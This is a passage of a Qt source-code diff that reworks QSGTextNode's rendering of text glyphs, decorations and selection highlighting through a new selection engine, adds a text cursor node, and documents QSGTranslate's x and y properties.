@@ -119,131 +121,682 @@ void QSGTextNode::setStyleColor(const QColor &styleColor)
}
#endif
-void QSGTextNode::addTextDecorations(Decoration decorations, const QPointF &position,
- const QColor &color, qreal width, qreal lineThickness,
- qreal underlinePos, qreal ascent)
+QSGGlyphNode *QSGTextNode::addGlyphs(const QPointF &position, const QGlyphRun &glyphs, const QColor &color,
+ QSGText::TextStyle style, const QColor &styleColor,
+ QSGNode *parentNode)
{
- QRectF line(position.x(), position.y() - lineThickness / 2.0, width, lineThickness);
+ QSGGlyphNode *node = m_context->createGlyphNode();
+ node->setGlyphs(position + QPointF(0, glyphs.rawFont().ascent()), glyphs);
+ node->setStyle(style);
+ node->setStyleColor(styleColor);
+ node->setColor(color);
+ node->update();
- if (decorations & Underline) {
- int underlinePosition = qCeil(underlinePos);
- QRectF underline(line);
- underline.translate(0.0, underlinePosition);
- appendChildNode(new QSGSimpleRectNode(underline, color));
- }
+ /* We flag the geometry as static, but we never call markVertexDataDirty
+ or markIndexDataDirty on them. This is because all text nodes are
+ discarded when a change occurs. If we start appending/removing from
+ existing geometry, then we also need to start marking the geometry as
+ dirty.
+ */
+ node->geometry()->setIndexDataPattern(QSGGeometry::StaticPattern);
+ node->geometry()->setVertexDataPattern(QSGGeometry::StaticPattern);
- if (decorations & Overline) {
- QRectF overline(line);
- overline.translate(0.0, -ascent);
- appendChildNode(new QSGSimpleRectNode(overline, color));
- }
+ if (parentNode == 0)
+ parentNode = this;
+ parentNode->appendChildNode(node);
- if (decorations & StrikeOut) {
- QRectF strikeOut(line);
- strikeOut.translate(0.0, ascent / -3.0);
- appendChildNode(new QSGSimpleRectNode(strikeOut, color));
- }
+ return node;
}
-QSGGlyphNode *QSGTextNode::addGlyphs(const QPointF &position, const QGlyphRun &glyphs, const QColor &color,
- QSGText::TextStyle style, const QColor &styleColor, QSGGlyphNode *prevNode)
+void QSGTextNode::setCursor(const QRectF &rect, const QColor &color)
{
- QSGGlyphNode *node = prevNode;
+ if (m_cursorNode != 0)
+ delete m_cursorNode;
+
+ m_cursorNode = new QSGSimpleRectNode(rect, color);
+ appendChildNode(m_cursorNode);
+}
+
+namespace {
+
+ struct BinaryTreeNode {
+ enum SelectionState {
+ Unselected,
+ Selected
+ };
+
+ BinaryTreeNode()
+ : selectionState(Unselected)
+ , clipNode(0)
+ , decorations(QSGTextNode::NoDecoration)
+ , leftChildIndex(-1)
+ , rightChildIndex(-1)
+ {
+
+ }
+
+ BinaryTreeNode(const QGlyphRun &g, SelectionState selState, const QRectF &brect,
+ const QSGTextNode::Decorations &decs, const QColor &c,
+ const QPointF &pos)
+ : glyphRun(g)
+ , boundingRect(brect)
+ , selectionState(selState)
+ , clipNode(0)
+ , decorations(decs)
+ , color(c)
+ , position(pos)
+ , leftChildIndex(-1)
+ , rightChildIndex(-1)
+ {
+ }
+
+ QGlyphRun glyphRun;
+ QRectF boundingRect;
+ SelectionState selectionState;
+ QSGClipNode *clipNode;
+ QSGTextNode::Decorations decorations;
+ QColor color;
+ QPointF position;
+
+ int leftChildIndex;
+ int rightChildIndex;
+
+ static void insert(QVarLengthArray<BinaryTreeNode> *binaryTree,
+ const QGlyphRun &glyphRun,
+ SelectionState selectionState,
+ const QColor &textColor,
+ const QPointF &position)
+ {
+ int newIndex = binaryTree->size();
+ QRectF searchRect = glyphRun.boundingRect();
+
+ if (qFuzzyIsNull(searchRect.width()) || qFuzzyIsNull(searchRect.height()))
+ return;
+
+ QSGTextNode::Decorations decorations = QSGTextNode::NoDecoration;
+ decorations |= (glyphRun.underline() ? QSGTextNode::Underline : QSGTextNode::NoDecoration);
+ decorations |= (glyphRun.overline() ? QSGTextNode::Overline : QSGTextNode::NoDecoration);
+ decorations |= (glyphRun.strikeOut() ? QSGTextNode::StrikeOut : QSGTextNode::NoDecoration);
+
+ binaryTree->append(BinaryTreeNode(glyphRun, selectionState, searchRect, decorations,
+ textColor, position));
+ if (newIndex == 0)
+ return;
+
+ int searchIndex = 0;
+ forever {
+ BinaryTreeNode *node = binaryTree->data() + searchIndex;
+ if (searchRect.left() < node->boundingRect.left()) {
+ if (node->leftChildIndex < 0) {
+ node->leftChildIndex = newIndex;
+ break;
+ } else {
+ searchIndex = node->leftChildIndex;
+ }
+ } else {
+ if (node->rightChildIndex < 0) {
+ node->rightChildIndex = newIndex;
+ break;
+ } else {
+ searchIndex = node->rightChildIndex;
+ }
+ }
+ }
+ }
+
+ static void inOrder(const QVarLengthArray<BinaryTreeNode> &binaryTree,
+ QVarLengthArray<int> *sortedIndexes,
+ int currentIndex = 0)
+ {
+ Q_ASSERT(currentIndex < binaryTree.size());
- if (!node)
- node = m_context->createGlyphNode();
+ const BinaryTreeNode *node = binaryTree.data() + currentIndex;
+ if (node->leftChildIndex >= 0)
+ inOrder(binaryTree, sortedIndexes, node->leftChildIndex);
- node->setGlyphs(position, glyphs);
+ sortedIndexes->append(currentIndex);
- if (node != prevNode) {
- if (QSGDistanceFieldGlyphCache::distanceFieldEnabled()) {
- QSGDistanceFieldGlyphNode *dfNode = static_cast<QSGDistanceFieldGlyphNode *>(node);
- dfNode->setStyle(style);
- dfNode->setStyleColor(styleColor);
+ if (node->rightChildIndex >= 0)
+ inOrder(binaryTree, sortedIndexes, node->rightChildIndex);
+ }
+ };
+
+ // Engine that takes glyph runs as input, and produces a set of glyph nodes, clip nodes,
+ // and rectangle nodes to represent the text, decorations and selection. Will try to minimize
+ // number of nodes, and join decorations in neighbouring items
+ class SelectionEngine
+ {
+ public:
+ SelectionEngine() : m_hasSelection(false) {}
+
+ QTextLine currentLine() const { return m_currentLine; }
+
+ void setCurrentLine(const QTextLine &currentLine)
+ {
+ if (m_currentLine.isValid())
+ processCurrentLine();
+
+ m_currentLine = currentLine;
+ }
+
+ void addSelectedGlyphs(const QGlyphRun &glyphRun);
+ void addUnselectedGlyphs(const QGlyphRun &glyphRun);
+
+ void addToSceneGraph(QSGTextNode *parent,
+ QSGText::TextStyle style = QSGText::Normal,
+ const QColor &styleColor = QColor());
+
+ void setSelectionColor(const QColor &selectionColor)
+ {
+ m_selectionColor = selectionColor;
+ }
+
+ void setSelectedTextColor(const QColor &selectedTextColor)
+ {
+ m_selectedTextColor = selectedTextColor;
+ }
+
+ void setTextColor(const QColor &textColor)
+ {
+ m_textColor = textColor;
+ }
+
+ void setPosition(const QPointF &position)
+ {
+ m_position = position;
+ }
+
+ private:
+ struct TextDecoration
+ {
+ TextDecoration() : selectionState(BinaryTreeNode::Unselected) {}
+ TextDecoration(const BinaryTreeNode::SelectionState &s,
+ const QRectF &r,
+ const QColor &c)
+ : selectionState(s)
+ , rect(r)
+ , color(c)
+ {
+ }
+
+ BinaryTreeNode::SelectionState selectionState;
+ QRectF rect;
+ QColor color;
+ };
+
+ void processCurrentLine();
+ void addTextDecorations(const QVarLengthArray<TextDecoration> &textDecorations,
+ qreal offset, qreal thickness);
+
+ QColor m_selectionColor;
+ QColor m_textColor;
+ QColor m_selectedTextColor;
+ QPointF m_position;
+
+ QTextLine m_currentLine;
+ bool m_hasSelection;
+
+ QList<QRectF> m_selectionRects;
+ QVarLengthArray<BinaryTreeNode> m_currentLineTree;
+
+ QList<TextDecoration> m_lines;
+ QVector<BinaryTreeNode> m_processedNodes;
+ };
+
+ void SelectionEngine::addTextDecorations(const QVarLengthArray<TextDecoration> &textDecorations,
+ qreal offset, qreal thickness)
+ {
+ for (int i=0; i<textDecorations.size(); ++i) {
+ TextDecoration textDecoration = textDecorations.at(i);
+
+ {
+ QRectF &rect = textDecoration.rect;
+ rect.setY(qRound(rect.y() + m_currentLine.ascent() + offset));
+ rect.setHeight(thickness);
+ }
+
+ m_lines.append(textDecoration);
}
- node->setColor(color);
}
- node->update();
+ void SelectionEngine::processCurrentLine()
+ {
+ // No glyphs, do nothing
+ if (m_currentLineTree.isEmpty())
+ return;
+
+ // 1. Go through current line and get correct decoration position for each node based on
+ // neighbouring decorations. Add decoration to global list
+ // 2. Create clip nodes for all selected text. Try to merge as many as possible within
+ // the line.
+ // 3. Add QRects to a list of selection rects.
+ // 4. Add all nodes to a global processed list
+ QVarLengthArray<int> sortedIndexes; // Indexes in tree sorted by x position
+ BinaryTreeNode::inOrder(m_currentLineTree, &sortedIndexes);
+
+ Q_ASSERT(sortedIndexes.size() == m_currentLineTree.size());
+
+ BinaryTreeNode::SelectionState currentSelectionState = BinaryTreeNode::Unselected;
+ QRectF currentRect;
+
+ QSGTextNode::Decorations currentDecorations = QSGTextNode::NoDecoration;
+ qreal underlineOffset = 0.0;
+ qreal underlineThickness = 0.0;
+
+ qreal overlineOffset = 0.0;
+ qreal overlineThickness = 0.0;
+
+ qreal strikeOutOffset = 0.0;
+ qreal strikeOutThickness = 0.0;
+
+ QRectF decorationRect = currentRect;
+
+ QColor lastColor;
+
+ QVarLengthArray<TextDecoration> pendingUnderlines;
+ QVarLengthArray<TextDecoration> pendingOverlines;
+ QVarLengthArray<TextDecoration> pendingStrikeOuts;
+ if (!sortedIndexes.isEmpty()) {
+ QSGClipNode *currentClipNode = m_hasSelection ? new QSGClipNode : 0;
+ bool currentClipNodeUsed = false;
+ for (int i=0; i<=sortedIndexes.size(); ++i) {
+ BinaryTreeNode *node = 0;
+ if (i < sortedIndexes.size()) {
+ int sortedIndex = sortedIndexes.at(i);
+ Q_ASSERT(sortedIndex < m_currentLineTree.size());
+
+ node = m_currentLineTree.data() + sortedIndex;
+ }
+
+ if (i == 0)
+ currentSelectionState = node->selectionState;
+
+ // Update decorations
+ if (currentDecorations != QSGTextNode::NoDecoration) {
+ decorationRect.setY(m_position.y() + m_currentLine.y());
+ decorationRect.setHeight(m_currentLine.height());
+
+ if (node != 0)
+ decorationRect.setRight(node->boundingRect.left());
+
+ TextDecoration textDecoration(currentSelectionState, decorationRect, lastColor);
+ if (currentDecorations & QSGTextNode::Underline)
+ pendingUnderlines.append(textDecoration);
+
+ if (currentDecorations & QSGTextNode::Overline)
+ pendingOverlines.append(textDecoration);
+
+ if (currentDecorations & QSGTextNode::StrikeOut)
+ pendingStrikeOuts.append(textDecoration);
+ }
+
+ // If we've reached an unselected node from a selected node, we add the
+ // selection rect to the graph, and we add decoration every time the
+ // selection state changes, because that means the text color changes
+ if (node == 0 || node->selectionState != currentSelectionState) {
+ if (node != 0)
+ currentRect.setRight(node->boundingRect.left());
+ currentRect.setY(m_position.y() + m_currentLine.y());
+ currentRect.setHeight(m_currentLine.height());
+
+ // Draw selection all the way up to the left edge of the unselected item
+ if (currentSelectionState == BinaryTreeNode::Selected)
+ m_selectionRects.append(currentRect);
+
+ if (currentClipNode != 0) {
+ if (!currentClipNodeUsed) {
+ delete currentClipNode;
+ } else {
+ currentClipNode->setIsRectangular(true);
+ currentClipNode->setClipRect(currentRect);
+ }
+ }
+
+ if (node != 0 && m_hasSelection)
+ currentClipNode = new QSGClipNode;
+ else
+ currentClipNode = 0;
+ currentClipNodeUsed = false;
+
+ if (node != 0) {
+ currentSelectionState = node->selectionState;
+ currentRect = node->boundingRect;
+
+ // Make sure currentRect is valid, otherwise the unite won't work
+ if (currentRect.isNull())
+ currentRect.setSize(QSizeF(1, 1));
+ }
+ } else {
+ if (currentRect.isNull())
+ currentRect = node->boundingRect;
+ else
+ currentRect = currentRect.united(node->boundingRect);
+ }
+
+ if (node != 0) {
+ node->clipNode = currentClipNode;
+ currentClipNodeUsed = true;
+
+ decorationRect = node->boundingRect;
+
+ // If previous item(s) had underline and current does not, then we add the
+ // pending lines to the lists and likewise for overlines and strikeouts
+ if (!pendingUnderlines.isEmpty()
+ && !(node->decorations & QSGTextNode::Underline)) {
+ addTextDecorations(pendingUnderlines, underlineOffset, underlineThickness);
+
+ pendingUnderlines.clear();
+
+ underlineOffset = 0.0;
+ underlineThickness = 0.0;
+ }
+
+ // ### Add pending when overlineOffset/thickness changes to minimize number of
+ // nodes
+ if (!pendingOverlines.isEmpty()) {
+ addTextDecorations(pendingOverlines, overlineOffset, overlineThickness);
+
+ pendingOverlines.clear();
+
+ overlineOffset = 0.0;
+ overlineThickness = 0.0;
+ }
+
+ // ### Add pending when overlineOffset/thickness changes to minimize number of
+ // nodes
+ if (!pendingStrikeOuts.isEmpty()) {
+ addTextDecorations(pendingStrikeOuts, strikeOutOffset, strikeOutThickness);
+
+ pendingStrikeOuts.clear();
+
+ strikeOutOffset = 0.0;
+ strikeOutThickness = 0.0;
+ }
+
+ // Merge current values with previous. Prefer greatest thickness
+ QRawFont rawFont = node->glyphRun.rawFont();
+ if (node->decorations & QSGTextNode::Underline) {
+ if (rawFont.lineThickness() > underlineThickness) {
+ underlineThickness = rawFont.lineThickness();
+ underlineOffset = rawFont.underlinePosition();
+ }
+ }
- // A new node, add it to the graph.
- if (node != prevNode) {
- appendChildNode(node);
-
- /* We flag the geometry as static, but we never call markVertexDataDirty
- or markIndexDataDirty on them. This is because all text nodes are
- discarded when a change occurs. If we start appending/removing from
- existing geometry, then we also need to start marking the geometry as
- dirty.
- */
- node->geometry()->setIndexDataPattern(QSGGeometry::StaticPattern);
- node->geometry()->setVertexDataPattern(QSGGeometry::StaticPattern);
+ if (node->decorations & QSGTextNode::Overline) {
+ overlineOffset = -rawFont.ascent();
+ overlineThickness = rawFont.lineThickness();
+ }
+
+ if (node->decorations & QSGTextNode::StrikeOut) {
+ strikeOutThickness = rawFont.lineThickness();
+ strikeOutOffset = rawFont.ascent() / -3.0;
+ }
+
+ currentDecorations = node->decorations;
+ lastColor = node->color;
+ m_processedNodes.append(*node);
+ }
+ }
+
+ // If there are pending decorations, we need to add them
+ if (!pendingUnderlines.isEmpty())
+ addTextDecorations(pendingUnderlines, underlineOffset, underlineThickness);
+
+ if (!pendingOverlines.isEmpty())
+ addTextDecorations(pendingOverlines, overlineOffset, overlineThickness);
+
+ if (!pendingStrikeOuts.isEmpty())
+ addTextDecorations(pendingStrikeOuts, strikeOutOffset, strikeOutThickness);
+ }
+
+ m_currentLineTree.clear();
+ m_currentLine = QTextLine();
+ m_hasSelection = false;
}
- return node;
+ void SelectionEngine::addUnselectedGlyphs(const QGlyphRun &glyphRun)
+ {
+ BinaryTreeNode::insert(&m_currentLineTree, glyphRun, BinaryTreeNode::Unselected,
+ m_textColor, m_position);
+ }
+
+ void SelectionEngine::addSelectedGlyphs(const QGlyphRun &glyphRun)
+ {
+ int currentSize = m_currentLineTree.size();
+ BinaryTreeNode::insert(&m_currentLineTree, glyphRun, BinaryTreeNode::Selected,
+ m_textColor, m_position);
+ m_hasSelection = m_hasSelection || m_currentLineTree.size() > currentSize;
+ }
+
+ void SelectionEngine::addToSceneGraph(QSGTextNode *parentNode,
+ QSGText::TextStyle style,
+ const QColor &styleColor)
+ {
+ if (m_currentLine.isValid())
+ processCurrentLine();
+
+ // First, prepend all selection rectangles to the tree
+ for (int i=0; i<m_selectionRects.size(); ++i) {
+ const QRectF &rect = m_selectionRects.at(i);
+
+ parentNode->appendChildNode(new QSGSimpleRectNode(rect, m_selectionColor));
+ }
+
+ // Then, go through all the nodes for all lines and combine all QGlyphRuns with a common
+ // font, selection state and clip node.
+ typedef QPair<QFontEngine *, QPair<QSGClipNode *, QPair<QRgb, int> > > KeyType;
+ QHash<KeyType, BinaryTreeNode *> map;
+ for (int i=0; i<m_processedNodes.size(); ++i) {
+ BinaryTreeNode *node = m_processedNodes.data() + i;
+
+ QGlyphRun glyphRun = node->glyphRun;
+ QRawFont rawFont = glyphRun.rawFont();
+ QRawFontPrivate *rawFontD = QRawFontPrivate::get(rawFont);
+
+ QFontEngine *fontEngine = rawFontD->fontEngine;
+
+ KeyType key(qMakePair(fontEngine,
+ qMakePair(node->clipNode,
+ qMakePair(node->color.rgba(), int(node->selectionState)))));
+
+ BinaryTreeNode *otherNode = map.value(key, 0);
+ if (otherNode != 0) {
+ QGlyphRun &otherGlyphRun = otherNode->glyphRun;
+
+ QVector<quint32> otherGlyphIndexes = otherGlyphRun.glyphIndexes();
+ QVector<QPointF> otherGlyphPositions = otherGlyphRun.positions();
+
+ otherGlyphIndexes += glyphRun.glyphIndexes();
+
+ QVector<QPointF> glyphPositions = glyphRun.positions();
+ for (int j=0; j<glyphPositions.size(); ++j) {
+ otherGlyphPositions += glyphPositions.at(j) + (node->position - otherNode->position);
+ }
+
+ otherGlyphRun.setGlyphIndexes(otherGlyphIndexes);
+ otherGlyphRun.setPositions(otherGlyphPositions);
+
+ } else {
+ map.insert(key, node);
+ }
+ }
+
+ // ...and add clip nodes and glyphs to tree.
+ QHash<KeyType, BinaryTreeNode *>::const_iterator it = map.constBegin();
+ while (it != map.constEnd()) {
+
+ BinaryTreeNode *node = it.value();
+
+ QSGClipNode *clipNode = node->clipNode;
+ if (clipNode != 0 && clipNode->parent() == 0 )
+ parentNode->appendChildNode(clipNode);
+
+ QColor color = node->selectionState == BinaryTreeNode::Selected
+ ? m_selectedTextColor
+ : node->color;
+
+ parentNode->addGlyphs(node->position, node->glyphRun, color, style, styleColor, clipNode);
+
+ ++it;
+ }
+
+ // Finally, add decorations for each node to the tree.
+ for (int i=0; i<m_lines.size(); ++i) {
+ const TextDecoration &textDecoration = m_lines.at(i);
+
+ QColor color = textDecoration.selectionState == BinaryTreeNode::Selected
+ ? m_selectedTextColor
+ : textDecoration.color;
+
+ parentNode->appendChildNode(new QSGSimpleRectNode(textDecoration.rect, color));
+ }
+ }
}
-void QSGTextNode::addTextDocument(const QPointF &position, QTextDocument *textDocument, const QColor &color,
- QSGText::TextStyle style, const QColor &styleColor)
+void QSGTextNode::addTextDocument(const QPointF &, QTextDocument *textDocument,
+ const QColor &textColor,
+ QSGText::TextStyle style, const QColor &styleColor,
+ const QColor &selectionColor, const QColor &selectedTextColor,
+ int selectionStart, int selectionEnd)
{
- Q_UNUSED(position)
QTextFrame *textFrame = textDocument->rootFrame();
- QPointF p = textDocument->documentLayout()->frameBoundingRect(textFrame).topLeft();
+ QPointF position = textDocument->documentLayout()->frameBoundingRect(textFrame).topLeft();
+
+ SelectionEngine engine;
+ engine.setTextColor(textColor);
+ engine.setSelectedTextColor(selectedTextColor);
+ engine.setSelectionColor(selectionColor);
+
+ bool hasSelection = selectionStart >= 0 && selectionEnd >= 0 && selectionStart != selectionEnd;
QTextFrame::iterator it = textFrame->begin();
while (!it.atEnd()) {
- addTextBlock(p, textDocument, it.currentBlock(), color, style, styleColor);
+ Q_ASSERT(!engine.currentLine().isValid());
+
+ QTextBlock block = it.currentBlock();
+
+ QTextBlock::iterator blockIterator = block.begin();
+ while (!blockIterator.atEnd()) {
+ QTextFragment fragment = blockIterator.fragment();
+ if (fragment.text().isEmpty())
+ continue;
+
+ QPointF blockPosition = textDocument->documentLayout()->blockBoundingRect(block).topLeft();
+ engine.setPosition(position + blockPosition);
+
+ QTextCharFormat charFormat = fragment.charFormat();
+ if (!textColor.isValid())
+ engine.setTextColor(charFormat.foreground().color());
+
+ int fragmentEnd = fragment.position() + fragment.length();
+ int textPos = fragment.position();
+ while (textPos < fragmentEnd) {
+ int blockRelativePosition = textPos - block.position();
+ QTextLine line = block.layout()->lineForTextPosition(blockRelativePosition);
+ Q_ASSERT(line.textLength() > 0);
+ if (!engine.currentLine().isValid() || line.lineNumber() != engine.currentLine().lineNumber())
+ engine.setCurrentLine(line);
+
+ int lineEnd = line.textStart() + block.position() + line.textLength();
+
+ int len = qMin(lineEnd - textPos, fragmentEnd - textPos);
+ Q_ASSERT(len > 0);
+
+ int currentStepEnd = textPos + len;
+
+ if (!hasSelection || selectionStart > currentStepEnd || selectionEnd < textPos) {
+ QList<QGlyphRun> glyphRuns = fragment.glyphRuns(blockRelativePosition, len);
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
+ } else {
+ if (textPos < selectionStart) {
+ int unselectedPartLength = qMin(selectionStart - textPos, len);
+ QList<QGlyphRun> glyphRuns = fragment.glyphRuns(blockRelativePosition,
+ unselectedPartLength);
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
+ }
+
+ if (selectionStart < currentStepEnd && selectionEnd > textPos) {
+ int currentSelectionStart = qMax(selectionStart, textPos);
+ int currentSelectionLength = qMin(selectionEnd - currentSelectionStart,
+ currentStepEnd - currentSelectionStart);
+ int selectionRelativeBlockPosition = currentSelectionStart - block.position();
+
+ QList<QGlyphRun> glyphRuns = fragment.glyphRuns(selectionRelativeBlockPosition,
+ currentSelectionLength);
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addSelectedGlyphs(glyphRuns.at(j));
+ }
+
+ if (selectionEnd >= textPos && selectionEnd < currentStepEnd) {
+ QList<QGlyphRun> glyphRuns = fragment.glyphRuns(selectionEnd - block.position(),
+ currentStepEnd - selectionEnd);
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
+ }
+ }
+
+ textPos = currentStepEnd;
+ }
+
+ ++blockIterator;
+ }
+
+ engine.setCurrentLine(QTextLine()); // Reset current line because the text layout changed
++it;
}
+
+ engine.addToSceneGraph(this, style, styleColor);
}
void QSGTextNode::addTextLayout(const QPointF &position, QTextLayout *textLayout, const QColor &color,
- QSGText::TextStyle style, const QColor &styleColor)
+ QSGText::TextStyle style, const QColor &styleColor,
+ const QColor &selectionColor, const QColor &selectedTextColor,
+ int selectionStart, int selectionEnd)
{
- QList<QGlyphRun> glyphsList(textLayout->glyphRuns());
-
- QSGGlyphNode *prevNode = 0;
-
- QFont font = textLayout->font();
- qreal underlinePosition, ascent, lineThickness;
- int decorations = NoDecoration;
- decorations |= (font.underline() ? Underline : 0);
- decorations |= (font.overline() ? Overline : 0);
- decorations |= (font.strikeOut() ? StrikeOut : 0);
-
- underlinePosition = ascent = lineThickness = 0;
- for (int i=0; i<glyphsList.size(); ++i) {
- QGlyphRun glyphs = glyphsList.at(i);
- QRawFont rawfont = glyphs.rawFont();
- prevNode = addGlyphs(position + QPointF(0, rawfont.ascent()), glyphs, color, style, styleColor);
-
- if (decorations) {
- qreal rawAscent = rawfont.ascent();
- if (decorations & Underline) {
- ascent = qMax(ascent, rawAscent);
- qreal pos = rawfont.underlinePosition();
- if (pos > underlinePosition) {
- underlinePosition = pos;
- // take line thickness from the rawfont with maximum underline
- // position in this case
- lineThickness = rawfont.lineThickness();
- }
- } else {
- // otherwise it's strike out or overline, we take line thickness
- // from the rawfont with maximum ascent
- if (rawAscent > ascent) {
- ascent = rawAscent;
- lineThickness = rawfont.lineThickness();
- }
+ SelectionEngine engine;
+ engine.setTextColor(color);
+ engine.setSelectedTextColor(selectedTextColor);
+ engine.setSelectionColor(selectionColor);
+ engine.setPosition(position);
+
+ for (int i=0; i<textLayout->lineCount(); ++i) {
+ QTextLine line = textLayout->lineAt(i);
+
+ engine.setCurrentLine(line);
+
+ int lineEnd = line.textStart() + line.textLength();
+ if (selectionStart > lineEnd || selectionEnd < line.textStart()) {
+ QList<QGlyphRun> glyphRuns = line.glyphRuns();
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
+ } else {
+ if (line.textStart() < selectionStart) {
+ QList<QGlyphRun> glyphRuns = line.glyphRuns(line.textStart(),
+ qMin(selectionStart - line.textStart(),
+ line.textLength()));
+
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
+ }
+
+ if (lineEnd >= selectionStart && selectionStart >= line.textStart()) {
+ QList<QGlyphRun> glyphRuns = line.glyphRuns(selectionStart, selectionEnd - selectionStart + 1);
+
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addSelectedGlyphs(glyphRuns.at(j));
+ }
+
+ if (selectionEnd >= line.textStart() && selectionEnd < lineEnd) {
+ QList<QGlyphRun> glyphRuns = line.glyphRuns(selectionEnd + 1, lineEnd - selectionEnd);
+ for (int j=0; j<glyphRuns.size(); ++j)
+ engine.addUnselectedGlyphs(glyphRuns.at(j));
}
}
}
- if (decorations) {
- addTextDecorations(Decoration(decorations), position + QPointF(0, ascent), color,
- textLayout->boundingRect().width(),
- lineThickness, underlinePosition, ascent);
- }
+ engine.addToSceneGraph(this, style, styleColor);
}
@@ -383,49 +936,11 @@ bool QSGTextNode::isComplexRichText(QTextDocument *doc)
return reader.hasError();
}
-void QSGTextNode::addTextBlock(const QPointF &position, QTextDocument *textDocument, const QTextBlock &block,
- const QColor &overrideColor, QSGText::TextStyle style, const QColor &styleColor)
-{
- if (!block.isValid())
- return;
-
- QPointF blockPosition = textDocument->documentLayout()->blockBoundingRect(block).topLeft();
-
- QTextBlock::iterator it = block.begin();
- while (!it.atEnd()) {
- QTextFragment fragment = it.fragment();
- if (!fragment.text().isEmpty()) {
- QTextCharFormat charFormat = fragment.charFormat();
- QColor color = overrideColor.isValid()
- ? overrideColor
- : charFormat.foreground().color();
-
- QList<QGlyphRun> glyphsList = fragment.glyphRuns();
- for (int i=0; i<glyphsList.size(); ++i) {
- QGlyphRun glyphs = glyphsList.at(i);
- QRawFont font = glyphs.rawFont();
- QSGGlyphNode *glyphNode = addGlyphs(position + blockPosition + QPointF(0, font.ascent()),
- glyphs, color, style, styleColor);
- int decorations = (glyphs.overline() ? Overline : 0) |
- (glyphs.strikeOut() ? StrikeOut : 0) |
- (glyphs.underline() ? Underline : 0);
- if (decorations) {
- QPointF baseLine = glyphNode->baseLine();
- qreal width = glyphNode->boundingRect().width();
- addTextDecorations(Decoration(decorations), baseLine, color, width,
- font.lineThickness(), font.underlinePosition(), font.ascent());
- }
- }
- }
-
- ++it;
- }
-}
-
void QSGTextNode::deleteContent()
{
- while (firstChild() > 0)
+ while (firstChild() != 0)
delete firstChild();
+ m_cursorNode = 0;
}
#if 0
diff --git a/src/declarative/items/qsgtextnode_p.h b/src/declarative/items/qsgtextnode_p.h
index 7ff31998c6..4c5199aefa 100644
--- a/src/declarative/items/qsgtextnode_p.h
+++ b/src/declarative/items/qsgtextnode_p.h
@@ -54,10 +54,20 @@ class QColor;
class QTextDocument;
class QSGContext;
class QRawFont;
+class QSGSimpleRectNode;
+class QSGClipNode;
class QSGTextNode : public QSGTransformNode
{
public:
+ enum Decoration {
+ NoDecoration = 0x0,
+ Underline = 0x1,
+ Overline = 0x2,
+ StrikeOut = 0x4
+ };
+ Q_DECLARE_FLAGS(Decorations, Decoration)
+
QSGTextNode(QSGContext *);
~QSGTextNode();
@@ -65,26 +75,24 @@ public:
void deleteContent();
void addTextLayout(const QPointF &position, QTextLayout *textLayout, const QColor &color = QColor(),
- QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor());
+ QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor(),
+ const QColor &selectionColor = QColor(), const QColor &selectedTextColor = QColor(),
+ int selectionStart = -1, int selectionEnd = -1);
void addTextDocument(const QPointF &position, QTextDocument *textDocument, const QColor &color = QColor(),
- QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor());
+ QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor(),
+ const QColor &selectionColor = QColor(), const QColor &selectedTextColor = QColor(),
+ int selectionStart = -1, int selectionEnd = -1);
-private:
- enum Decoration {
- NoDecoration = 0x0,
- Underline = 0x1,
- Overline = 0x2,
- StrikeOut = 0x4
- };
+ void setCursor(const QRectF &rect, const QColor &color);
+ QSGSimpleRectNode *cursorNode() const { return m_cursorNode; }
- void addTextBlock(const QPointF &position, QTextDocument *textDocument, const QTextBlock &block,
- const QColor &overrideColor, QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor());
QSGGlyphNode *addGlyphs(const QPointF &position, const QGlyphRun &glyphs, const QColor &color,
- QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor(),
- QSGGlyphNode *node = 0);
- void addTextDecorations(Decoration decorations, const QPointF &position, const QColor &color,
- qreal width, qreal lineThickness, qreal underlinePosition, qreal ascent);
+ QSGText::TextStyle style = QSGText::Normal, const QColor &styleColor = QColor(),
+ QSGNode *parentNode = 0);
+
+private:
QSGContext *m_context;
+ QSGSimpleRectNode *m_cursorNode;
};
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgtranslate.cpp b/src/declarative/items/qsgtranslate.cpp
index fc2e7b3cc2..1de5c6c3ea 100644
--- a/src/declarative/items/qsgtranslate.cpp
+++ b/src/declarative/items/qsgtranslate.cpp
@@ -56,15 +56,29 @@ public:
qreal y;
};
+/*!
+ Constructs an empty QSGTranslate object with the given \a parent.
+*/
QSGTranslate::QSGTranslate(QObject *parent)
: QSGTransform(*new QSGTranslatePrivate, parent)
{
}
+/*!
+ Destroys the graphics scale.
+*/
QSGTranslate::~QSGTranslate()
{
}
+/*!
+ \property QSGTranslate::x
+ \brief the horizontal translation.
+
+ The translation can be any real number; the default value is 0.0.
+
+ \sa y
+*/
qreal QSGTranslate::x() const
{
Q_D(const QSGTranslate);
@@ -81,6 +95,14 @@ void QSGTranslate::setX(qreal x)
emit xChanged();
}
+/*!
+ \property QSGTranslate::y
+ \brief the vertical translation.
+
+ The translation can be any real number; the default value is 0.0.
+
+ \sa x
+*/
qreal QSGTranslate::y() const
{
Q_D(const QSGTranslate);
diff --git a/src/declarative/items/qsgvisualitemmodel.cpp b/src/declarative/items/qsgvisualitemmodel.cpp
index 7e45aeb629..5dfe01dd2b 100644
--- a/src/declarative/items/qsgvisualitemmodel.cpp
+++ b/src/declarative/items/qsgvisualitemmodel.cpp
@@ -57,6 +57,7 @@
#include <private/qdeclarativeglobal_p.h>
#include <private/qlistmodelinterface_p.h>
#include <private/qmetaobjectbuilder_p.h>
+#include <private/qdeclarativeproperty_p.h>
#include <private/qobject_p.h>
#include <QtCore/qhash.h>
@@ -122,11 +123,56 @@ public:
